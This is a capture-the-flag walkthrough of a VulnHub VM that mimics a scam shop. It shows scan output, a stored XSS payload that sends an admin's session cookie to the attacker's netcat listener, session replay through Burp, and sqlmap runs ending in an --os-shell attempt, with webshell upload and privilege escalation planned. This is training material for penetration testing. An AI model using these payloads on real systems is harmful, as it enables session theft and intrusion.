Boot to root CTF(Capture the flag)

==========
==========
Walkthrough of the "Credit Card Scammers" VulnHub VM CTF
==========
==========

Description of the CTF:
The back story: Scammers are taking advantage of people and various fake shopping websites have been setup, but people are finding their orders never arrive.
We have identified one scam website which we believe is harvesting credit card details from victims.
Your objective is to take down the scam website by gaining root access, and identify the 3 flags on their server.
Our intelligence suggests the scammers are actively reviewing all orders to quickly make use of the credit card information.

Step 1. Scanning & Enumeration (Nmap + Nikto + Dirb)
> Find the admin portal login page (/_admin/dist/login.html)

Step 2. Gaining Access
1. Find and exploit an unauthenticated stored XSS flaw in the web page "buynow.php" that allows to steal the session cookie of an admin
2. Log into the admin portal using the stolen cookie
3. Exploit the presence of a "Database admin" page that allows to execute SQL queries to the MySQL backend db
4. Upload a PHP webshell using the "Database admin" page (SELECT <webshell> INTO DUMPFILE /path/webshell.php)
> OS command execution with the service account "apache"

Step 3. Post-exploitation - Linux enumeration (Manual search + scripts: "LinEnum.sh" & "Linux-exploit-suggester.sh")
1. LinEnum script's results show that there is a SUID binary "/usr/bin/backup" which runs the script "/home/moneygrabber/backup.sh"
2. Perform a brute-force attack with Hydra and rockyou.txt to guess the weak password protecting the Linux account "moneygrabber"
3. Log into the Linux host as "moneygrabber" and identify that there is a PATH ENV privesc with the binary TAR in the script "/home/moneygrabber/backup.sh"
which can be executed with root privileges thanks to SUID binary "/usr/bin/backup"

Step 4. Privilege escalation to root
=> SUID binary + PATH env manipulation = root access

==========
==========
Step 1. Scanning & Enumeration
==========
==========

jeff@kali:~$ sudo nmap -P0 -sS -sV -sC 192.168.1.28
Starting Nmap 7.80 (https://nmap.org) at 2020-07-15 01:09 CEST
Stats: 0:01:26 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 95.83% done; ETC: 01:11 (0:00:02 remaining)
Nmap scan report for 192.168.1.28
Host is up (0.00061s latency).
Not shown: 996 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
| 3072 8d:0a:3a:42:5f:92:47:69:33:59:b3:77:53:3c:be:73 (RSA)
| 256 ab:3d:26:3b:d9:02:50:a4:49:c0:bf:13:75:dc:a5:73 (ECDSA)
|_ 256 fb:6a:7e:1b:05:f9:d1:ef:be:dd:ff:39:ed:f5:f5:63 (ED25519)
80/tcp open http Apache httpd 2.4.37 ((centos))
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.37 (centos)
|_http-title: Your PPE Supplier
443/tcp open http Mongoose httpd
|_http-title: Site doesn't have a title (text/plain).
9090/tcp closed zeus-admin
MAC Address: 08:00:27:C8:0C:11 (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 109.37 seconds

==========
==========

jeff@kali:~$ nikto -h http://192.168.1.28
- Nikto v2.1.6

+ Target IP: 192.168.1.28
+ Target Hostname: 192.168.1.28
+ Target Port: 80
+ Start Time: 2020-07-15 01:14:34 (GMT2)

+ Server: Apache/2.4.37 (centos)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS

+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Retrieved x-powered-by header: PHP/7.2.11
+ Allowed HTTP Methods: HEAD, GET, POST, OPTIONS, TRACE
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ OSVDB-3268: /css/: Directory indexing found.
+ OSVDB-3092: /css/: This might be interesting...
+ OSVDB-3268: /img/: Directory indexing found.
+ OSVDB-3092: /img/: This might be interesting...
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ /package.json: Node.js package file found. It may contain sensitive information.
+ 8724 requests: 0 error(s) and 13 item(s) reported on remote host
+ End Time: 2020-07-15 01:15:04 (GMT2) (30 seconds)

+ 1 host(s) tested

==========

jeff@kali:~$ dirb http://192.168.1.28

DIRB v2.22
By The Dark Raver

START_TIME: Wed Jul 15 01:19:08 2020
URL_BASE: http://192.168.1.28/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

---- Scanning URL: http://192.168.1.28/ ----
==> DIRECTORY: http://192.168.1.28/_admin/
+ http://192.168.1.28/cgi-bin/ (CODE:403|SIZE:217)
==> DIRECTORY: http://192.168.1.28/class/
==> DIRECTORY: http://192.168.1.28/css/
==> DIRECTORY: http://192.168.1.28/img/
+ http://192.168.1.28/index.html (CODE:200|SIZE:5822)
+ http://192.168.1.28/LICENSE (CODE:200|SIZE:1093)
==> DIRECTORY: http://192.168.1.28/noindex/
==> DIRECTORY: http://192.168.1.28/settings/
==> DIRECTORY: http://192.168.1.28/vendor/

```
---- Entering directory: http://192.168.1.28/_admin/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://192.168.1.28/class/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://192.168.1.28/css/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://192.168.1.28/img/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://192.168.1.28/noindex/ ----
==> DIRECTORY: http://192.168.1.28/noindex/common/
+ http://192.168.1.28/noindex/index (CODE:200|SIZE:4006)
+ http://192.168.1.28/noindex/index.html (CODE:200|SIZE:4006)

---- Entering directory: http://192.168.1.28/settings/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://192.168.1.28/vendor/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://192.168.1.28/noindex/common/ ----
==> DIRECTORY: http://192.168.1.28/noindex/common/css/
==> DIRECTORY: http://192.168.1.28/noindex/common/fonts/
==> DIRECTORY: http://192.168.1.28/noindex/common/images/

---- Entering directory: http://192.168.1.28/noindex/common/css/ ----
+ http://192.168.1.28/noindex/common/css/styles (CODE:200|SIZE:71634)

---- Entering directory: http://192.168.1.28/noindex/common/fonts/ ----

---- Entering directory: http://192.168.1.28/noindex/common/images/ ----

-----------------
END_TIME: Wed Jul 15 01:19:40 2020
DOWNLOADED: 27672 - FOUND: 6
jeff@kali:~$

Notes:
=> http://192.168.1.28/_admin/dist/login.html
```

=> Admin portal login page "Money Maker Admin Panel"

=> http://192.168.1.28/settings/config.php
=> interesting !!

==========
==========
Step 2. Gaining access
==========
==========

The creator of the CTF is giving a hint on how to hack the website:
"Our intelligence suggests the scammers are actively reviewing all orders to quickly make use of the credit card information."

> So I filled the page to buy a "N95 Face Mask" and I put in all the character fields the following XSS payload to try to steal the cookie of an administrator/scammer:

```
  "Test <script>document.write("<img
src=http://192.168.1.21/".concat(escape(document.cookie)))</script>"
```

> In parallel I started a netcat listener on my Kali to receive the cookie and it worked:

```
jeff@kali:~$ sudo nc -nlvp 80
listening on [any] 80 ...

connect to [192.168.1.21] from (UNKNOWN) [192.168.1.28] 57546
GET /PHPSESSID%3Dt9q0kkg91f0huk3j61hk53gpm2%3C/td HTTP/1.1
Referer: http://localhost/_admin/dist/index.php
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko)
PhantomJS/2.1.1 Safari/538.1
Accept: */*
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,*
Host: 192.168.1.21
```

> Then I used Burp to access to the page "Money Maker Admin Panel" that was discovered thanks to DIRB

```
GET /_admin/dist/index.php HTTP/1.1
Host: 192.168.1.28
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
```

Upgrade-Insecure-Requests: 1
Cookie: PHPSESSID=t9q0kkg91f0huk3j61hk53gpm2
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Safari/605.1.15
Accept-Language: fr-fr
Accept-Encoding: gzip, deflate
Connection: close

HTTP/1.1 200 OK
Date: Tue, 14 Jul 2020 23:51:18 GMT
Server: Apache/2.4.37 (centos)
X-Powered-By: PHP/7.2.11
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 318470

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
<meta name="description" content="" />
<meta name="author" content="" />
<title>Money Maker</title>
<link href="css/styles.css" rel="stylesheet" />
<link href="/_admin/dist/assets/dataTables.bootstrap4.min.css" rel="stylesheet" crossorigin="anonymous" />
<script src="/_admin/dist/assets/all.min.js" crossorigin="anonymous"></script>
</head>
<body class="sb-nav-fixed">
<nav class="sb-topnav navbar navbar-expand navbar-dark bg-dark">
Admin<button class="btn btn-link btn-sm order-1 order-lg-0" id="sidebarToggle" href="#"></button>
<ul class="navbar-nav ml-auto ml-md-0">
<li class="nav-item dropdown">

Logout

```
            </li>
          </ul>
        </nav>       <div id="layoutSidenav">
          <div id="layoutSidenav_nav">
            <nav class="sb-sidenav accordion sb-sidenav-dark" id="sidenavAccordion">
              <div class="sb-sidenav-menu">
                <div class="nav">
                  <div class="sb-sidenav-menu-heading">Core</div>
                  <a class="nav-link" href="index.php"
                    ><div class="sb-nav-link-icon"><i class="fas
fa-tachometer-alt"></i></div>
                    Dashboard</a
                  >
                        <a class="nav-link" href="manage.php"
                  ><div class="sb-nav-link-icon"><i class="fas fa-viruses"></i></div>
                  Database Admin</a
                  >
              </div>
              <div class="sb-sidenav-footer">
                <div class="small">Scamming People Since 2000</div>
              </div>
            </nav>
          </div>          <div id="layoutSidenav_content">
            <main>
              <div class="container-fluid">
                <h1 class="mt-4">Money Maker</h1>
                <ol class="breadcrumb mb-4">
                  <li class="breadcrumb-item active">Orders</li>
                </ol>
                <table class="table table-striped dt-responsive nowrap" id="orderTable"
width="100%" cellspacing="0">
<thead><tr>
<th>Order ID</th>
<th>Item ID</th>
<th>Quantity</th>
<th>First Name</th>
<th> Last Name</th>
<th> E-Mail</th>
<th> Address</th>
<th> Address 2</th>
<th> Country</th>
<th> County</th>
<th> Postcode</th>
<th> Payment</th>
<th> Name On Card</th>
<th>Number</th>
<th>Expiration</th>
<th>CVV</th>
```

```
</tr></thead>
<tbody>
<tr>
<td>1008</td>
<td>1</td>
<td>1000</td>
<td>Test <script>document.write("<img
src=http://192.168.1.21/".concat(escape(document.cookie)))</script></td>
<td>Test <script>document.write("<img
src=http://192.168.1.21/".concat(escape(document.cookie)))</script></td>
<td>Test <script>document.write("<img
src=http://192.168.1.21/".concat(escape(document.cookie)))</script></td>
<td>Test <script>document.write("<img
src=http://192.168.1.21/".concat(escape(document.cookie)))</script></td>
<td>Test <script>document.write("<img
src=http://192.168.1.21/".concat(escape(document.cookie)))</script></td>
<td>Test <script>document.write("<img
src=http://192.168.1.21/".concat(escape(document.cookie)))</script></td>
<td>Test <script>document.write("<img
src=http://192.168.1.21/".concat(escape(document.cookie)))</script></td>
<td>Test <script>document.write("<img
src=http://192.168.1.21/".concat(escape(document.cookie)))</script></td>
<td></td>
<td>Test <script>document.write("<img
src=http://192.168.1.21/".concat(escape(document.cookie)))</script></td>
<td>0987654321</td>
<td>12/12/2022</td>
<td>456</td>
</tr>
<tr>
<td>1007</td>
<td>1</td>
<td>1000</td>
<td>Test <script>document.write("<img
src=http://192.168.1.21/".concat(escape(document.cookie)))</script></td>
<td>Test <script>document.write("<img
src=http://192.168.1.21/".concat(escape(document.cookie)))</script></td>
<td>test@test.com</td>
<td>Test <script>document.write("<img
src=http://192.168.1.29/".concat(escape(document.cookie)))</script></td>
<td>Test <script>document.write("<img
src=http://192.168.1.21/".concat(escape(document.cookie)))</script></td>
<td>USA</td>
<td>Boston</td>
<td>76789</td>
<td></td>
<td>Test <script>document.write("<img
src=http://192.168.1.21/".concat(escape(document.cookie)))</script></td>
```

<td>1234567890</td>
<td>02/2022</td>
<td>543</td>
</table>

<SNIP>

> There is a "Database admin" page that allow us to execute SQL queries

```
GET /_admin/dist/manage.php HTTP/1.1
Host: 192.168.1.28
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Upgrade-Insecure-Requests: 1
Cookie: PHPSESSID=t9q0kkg91f0huk3j61hk53gpm2
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/605.1.15
(KHTML, like Gecko) Version/13.1.1 Safari/605.1.15
Accept-Language: fr-fr
Accept-Encoding: gzip, deflate
Connection: close
```

```
HTTP/1.1 200 OK
Date: Tue, 14 Jul 2020 23:57:56 GMT
Server: Apache/2.4.37 (centos)
X-Powered-By: PHP/7.2.11
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 4636

<!DOCTYPE html>
<html lang="en">
   <head>
      <meta charset="utf-8" />
      <meta http-equiv="X-UA-Compatible" content="IE=edge" />
      <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"
/>

<SNIP>

                        <a class="nav-link" href="index.php"
                           ><div class="sb-nav-link-icon"><i class="fas
fa-tachometer-alt"></i></div>
                           Dashboard</a
```

```
                    >
                        <a class="nav-link" href="manage.php"
                    ><div class="sb-nav-link-icon"><i class="fas fa-viruses"></i></div>
                    Database Admin</a
                    >
                </div>
                <div class="sb-sidenav-footer">
                    <div class="small">Scamming People Since 2000</div>
                </div>
            </nav>
        </div>          <div id="layoutSidenav_content">
            <main>
                <div class="container-fluid">
                    <h1 class="mt-4">Money Maker</h1>
                    <ol class="breadcrumb mb-4">
                        <li class="breadcrumb-item active">Database SQL Execution</li>
                    </ol>
<p>This page allows you to execute SQL commands for deleting and archiving data. Be careful not to break our store - the money is currently flowing in!</p>
<form action="manage.php" method="POST">
<input name="command" id="command" type="test" />
<input type="submit" name="submit" value="Execute" />
</form>

...
```

> First I tried to exploit this feature with SQLmap but it did not worked well...

```
jeff@kali:~/Documents/CTFs/CreditCardScammers$ sqlmap --dbms=MySQL --level=5 --risk=3 --users --passwords -r burp.txt
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.4.7.5#dev}
|_ -| . [,]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 02:17:15 /2020-07-15/

[02:17:15] [INFO] parsing HTTP request from 'burp.txt'
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] Y
```

[02:17:18] [INFO] testing connection to the target URL
[02:17:18] [INFO] testing if the target URL content is stable
[02:17:19] [INFO] target URL content is stable
[02:17:19] [INFO] testing if (custom) POST parameter '#1*' is dynamic
[02:17:19] [WARNING] (custom) POST parameter '#1*' does not appear to be dynamic
[02:17:19] [WARNING] heuristic (basic) test shows that (custom) POST parameter '#1*' might not be injectable
[02:17:20] [INFO] testing for SQL injection on (custom) POST parameter '#1*'
[02:17:20] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[02:17:35] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[02:17:57] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT)'
[02:18:11] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)'
[02:18:22] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (subquery - comment)'
[02:18:37] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (comment)'
[02:18:43] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (comment)'
[02:18:54] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT - comment)'
[02:19:00] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[02:19:01] [INFO] testing 'Boolean-based blind - Parameter replace (DUAL)'
[02:19:01] [INFO] testing 'Boolean-based blind - Parameter replace (DUAL - original value)'
[02:19:02] [INFO] testing 'Boolean-based blind - Parameter replace (CASE)'
[02:19:02] [INFO] testing 'Boolean-based blind - Parameter replace (CASE - original value)'
[02:19:02] [INFO] testing 'HAVING boolean-based blind - WHERE, GROUP BY clause'
[02:19:13] [INFO] testing 'Generic inline queries'
[02:19:13] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[02:19:19] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[02:19:30] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)'
[02:19:37] [INFO] testing 'MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause'
[02:19:47] [INFO] testing 'MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (MAKE_SET)'
[02:19:59] [INFO] testing 'MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (MAKE_SET)'
[02:20:17] [INFO] testing 'MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (ELT)'
[02:20:29] [INFO] testing 'MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (ELT)'
[02:20:49] [INFO] testing 'MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (bool*int)'
[02:21:00] [INFO] testing 'MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (bool*int)'
[02:21:20] [INFO] testing 'MySQL boolean-based blind - Parameter replace (MAKE_SET)'

[02:21:20] [INFO] testing 'MySQL boolean-based blind - Parameter replace (MAKE_SET - original value)'
[02:21:20] [INFO] testing 'MySQL boolean-based blind - Parameter replace (ELT)'
[02:21:21] [INFO] testing 'MySQL boolean-based blind - Parameter replace (ELT - original value)'
[02:21:21] [INFO] testing 'MySQL boolean-based blind - Parameter replace (bool*int)'
[02:21:21] [INFO] testing 'MySQL boolean-based blind - Parameter replace (bool*int - original value)'
[02:21:22] [INFO] testing 'MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause'
[02:21:22] [INFO] testing 'MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause (original value)'
[02:21:23] [INFO] testing 'MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY clause'
[02:21:23] [INFO] testing 'MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY clause (original value)'
[02:21:23] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Stacked queries'
[02:21:31] [INFO] testing 'MySQL < 5.0 boolean-based blind - Stacked queries'
[02:21:31] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[02:21:46] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[02:22:02] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[02:22:17] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[02:22:33] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[02:22:49] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[02:23:05] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[02:23:21] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[02:23:37] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[02:23:54] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[02:24:10] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[02:24:26] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[02:24:43] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[02:24:58] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[02:25:14] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'

[02:25:30] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'
[02:25:46] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)'
[02:25:54] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
[02:26:05] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'
[02:26:06] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'
[02:26:06] [INFO] testing 'MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)'
[02:26:06] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)'
[02:26:07] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[02:26:07] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'
[02:26:07] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
[02:26:08] [INFO] testing 'MySQL >= 5.5 error-based - ORDER BY, GROUP BY clause (BIGINT UNSIGNED)'
[02:26:08] [INFO] testing 'MySQL >= 5.5 error-based - ORDER BY, GROUP BY clause (EXP)'
[02:26:09] [INFO] testing 'MySQL >= 5.6 error-based - ORDER BY, GROUP BY clause (GTID_SUBSET)'
[02:26:09] [INFO] testing 'MySQL >= 5.7.8 error-based - ORDER BY, GROUP BY clause (JSON_KEYS)'
[02:26:10] [INFO] testing 'MySQL >= 5.0 error-based - ORDER BY, GROUP BY clause (FLOOR)'
[02:26:11] [INFO] testing 'MySQL >= 5.1 error-based - ORDER BY, GROUP BY clause (EXTRACTVALUE)'
[02:26:11] [INFO] testing 'MySQL >= 5.1 error-based - ORDER BY, GROUP BY clause (UPDATEXML)'
[02:26:12] [INFO] testing 'MySQL >= 4.1 error-based - ORDER BY, GROUP BY clause (FLOOR)'
[02:26:12] [INFO] testing 'MySQL inline queries'
[02:26:13] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[02:26:20] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[02:26:44] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[02:26:52] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[02:27:03] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[02:27:11] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[02:27:23] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[02:27:50] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (query SLEEP)'
[02:28:06] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SLEEP)'
[02:28:22] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (SLEEP)'
[02:28:36] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SLEEP - comment)'
[02:28:46] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (SLEEP - comment)'
[02:28:56] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP - comment)'
[02:29:06] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (query SLEEP - comment)'
[02:29:16] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (heavy query)'
[02:29:32] [INFO] testing 'MySQL < 5.0.12 OR time-based blind (heavy query)'

[02:29:47] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (heavy query - comment)'
[02:29:57] [INFO] testing 'MySQL < 5.0.12 OR time-based blind (heavy query - comment)'
[02:30:08] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind'
[02:30:23] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind (comment)'
[02:30:33] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind (query SLEEP)'
[02:30:48] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind (query SLEEP - comment)'
[02:30:58] [INFO] testing 'MySQL AND time-based blind (ELT)'
[02:31:15] [INFO] testing 'MySQL OR time-based blind (ELT)'
[02:31:31] [INFO] testing 'MySQL AND time-based blind (ELT - comment)'
[02:31:41] [INFO] testing 'MySQL OR time-based blind (ELT - comment)'
[02:31:52] [INFO] testing 'MySQL >= 5.1 time-based blind (heavy query) - PROCEDURE ANALYSE (EXTRACTVALUE)'
[02:32:03] [INFO] testing 'MySQL >= 5.1 time-based blind (heavy query - comment) - PROCEDURE ANALYSE (EXTRACTVALUE)'
[02:32:10] [INFO] testing 'MySQL >= 5.0.12 time-based blind - Parameter replace'
[02:32:10] [INFO] testing 'MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)'
[02:32:21] [INFO] (custom) POST parameter '#1*' appears to be 'MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)' injectable
[02:32:21] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[02:32:21] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[02:32:28] [INFO] testing 'Generic UNION query (random number) - 1 to 20 columns'
[02:32:35] [INFO] testing 'Generic UNION query (NULL) - 21 to 40 columns'
[02:32:41] [INFO] testing 'Generic UNION query (random number) - 21 to 40 columns'
[02:32:47] [INFO] testing 'Generic UNION query (NULL) - 41 to 60 columns'
[02:32:53] [INFO] testing 'Generic UNION query (random number) - 41 to 60 columns'
[02:32:59] [INFO] testing 'Generic UNION query (NULL) - 61 to 80 columns'
[02:33:05] [INFO] testing 'Generic UNION query (random number) - 61 to 80 columns'
[02:33:12] [INFO] testing 'Generic UNION query (NULL) - 81 to 100 columns'
[02:33:18] [INFO] testing 'Generic UNION query (random number) - 81 to 100 columns'
[02:33:24] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[02:33:31] [INFO] testing 'MySQL UNION query (random number) - 1 to 20 columns'
[02:33:37] [INFO] testing 'MySQL UNION query (NULL) - 21 to 40 columns'
[02:33:43] [INFO] testing 'MySQL UNION query (random number) - 21 to 40 columns'
[02:33:49] [INFO] testing 'MySQL UNION query (NULL) - 41 to 60 columns'
[02:33:55] [INFO] testing 'MySQL UNION query (random number) - 41 to 60 columns'
[02:34:02] [INFO] testing 'MySQL UNION query (NULL) - 61 to 80 columns'
[02:34:08] [INFO] testing 'MySQL UNION query (random number) - 61 to 80 columns'
[02:34:14] [INFO] testing 'MySQL UNION query (NULL) - 81 to 100 columns'
[02:34:20] [INFO] testing 'MySQL UNION query (random number) - 81 to 100 columns'
[02:34:26] [INFO] checking if the injection point on (custom) POST parameter '#1*' is a false positive
(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 3369 HTTP(s) requests:

```
Parameter: #1* ((custom) POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
    Payload: command=(SELECT 5855 FROM (SELECT(SLEEP(5)))kMNx)&submit=Execute
---
[02:36:33] [INFO] the back-end DBMS is MySQL
[02:36:33] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
[02:36:33] [CRITICAL] unable to connect to the target URL ('Broken pipe'). sqlmap is going to retry the request(s)
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
web server operating system: Linux CentOS
web application technology: Apache 2.4.37, PHP 7.2.11
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[02:36:51] [INFO] fetching database users
[02:36:51] [INFO] fetching number of database users
[02:36:52] [INFO] retrieved: 1
[02:36:58] [INFO] retrieved:
[02:37:04] [INFO] adjusting time delay to 2 seconds due to good response times
'orders'@'%'
database management system users [1]:
[*] 'orders'@'%'

[02:38:52] [INFO] fetching database users password hashes
[02:38:52] [INFO] fetching database users
[02:38:52] [INFO] fetching number of password hashes for user 'orders'
[02:38:52] [INFO] retrieved:
[02:38:53] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[02:38:53] [INFO] retrieved:
[02:38:54] [WARNING] unable to retrieve the number of password hashes for user 'orders'
[02:38:54] [ERROR] unable to retrieve the password hashes for the database users
[02:38:54] [INFO] fetched data logged to text files under '/home/jeff/.sqlmap/output/192.168.1.28'

[*] ending @ 02:38:54 /2020-07-15/


jeff@kali:~/Documents/CTFs/CreditCardScammers$ sqlmap --dbms=MySQL -r burp.txt --os-shell

        ___
       __H__
 ___ ___[']_____ ___ ___  {1.4.7.5#dev}
|_ -| . [,]     | .'| . |
|___|_  [()]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org
```

